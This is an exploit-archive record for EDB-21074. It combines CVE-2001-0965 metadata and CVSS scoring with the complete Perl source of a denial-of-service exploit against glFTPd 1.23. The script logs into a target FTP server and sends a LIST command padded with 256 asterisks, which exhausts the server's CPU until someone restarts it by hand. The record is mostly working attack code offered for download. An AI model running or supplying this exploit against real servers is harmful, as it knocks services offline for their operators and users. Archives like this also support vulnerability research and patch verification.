{"exploit":{"id":"EDB-21074","name":"glFTPd 1.x - 'LIST' Denial of Service (DoS)","description":"glFTPd 1.x - 'LIST' Denial of Service (DoS)","cves":["CVE-2001-0965"],"author":"ASGUARD LABS","published":"2001-08-17","platform":"unix","type":"dos","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/21074","path":"exploits/unix/dos/21074.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-21074.pl","vulnerabilities":[{"id":"CVE-2001-0965","state":"PUBLISHED","title":null,"titleSource":null,"description":"glFTPD 1.23 allows remote attackers to cause a denial of service (CPU consumption) via a LIST command with an argument that contains a large number of * (asterisk) characters.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0965","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0965"},"updatedAt":"2024-08-08T04:37:07.293Z","retrievedAt":"2026-11-27T02:10:57.686Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-21074.png?v=2","url":"https://exploitbin.com/exploits/EDB-21074","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-21074/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-21074/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# source: https://web.archive.org/web/2001/https://www.securityfocus.com/bid/3201/info\n\n# glFtpD contains an input validation error that may allow a malicious user to cause a denial of service against a host running the daemon.\n\n# The problem occurs when a specially crafted 'LIST' command is received by the server. If the argument to the command contains an excessive number of '*' characters, the server will cease to respond and consume all available CPU resources on the system.\n\n# If the attack is successful, the server will need to be manually restarted to regain normal functionality.\n\n\nuse IO::Socket;\nuse Socket;\n\nprint \"-= ASGUARD LABS EXPLOIT - glFTPD v1.23i =-\\n\\n\";\n\nif($#ARGV < 2 | $#ARGV > 3) { die \"usage: perl gl123DOS.pl <host> <user>\n<pass> [port]\\n\" };\nif($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = \"21\" };\n\n$adr = $ARGV[0];\n$usr = $ARGV[1];\n$pas = $ARGV[2];\n$err = \"*\" x 256;\n\n$remote = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>$adr,\nPeerPort=>$prt, Reuse=>1) or die \"Error: can't connect  to $adr:$prt\\n\";\n\n$remote->autoflush(1);\n\nprint $remote \"USER $usr\\n\" and print \"1. Sending : USER $usr...\\n\" or die\n\"Error: can't send user\\n\";\n\nprint $remote \"PASS $pas\\n\" and print \"2. Sending : PASS $pas...\\n\"  or die\n\"Error: can't send pass\\n\";\n\nprint $remote \"LIST $err/\\n\" and print \"3. Sending : ErrorCode...\\n\\n\"or die\n\"Error: can't send error code\\n\";\n\nprint \"Attack done. press any key to exit\\nnote: Attack done doesn't mean\nAttack successful\\n\";\n$bla= <STDIN>;\nclose $remote;","sha256":"8e686d4e0cbd4c98e861e4f1f6a197024ccc8242ea936d4c46fa1427da6b3096","bytes":1525,"fetchedAt":"2026-11-27T02:10:57.404Z","encoding":"utf-8 (display only; download retains original bytes)"}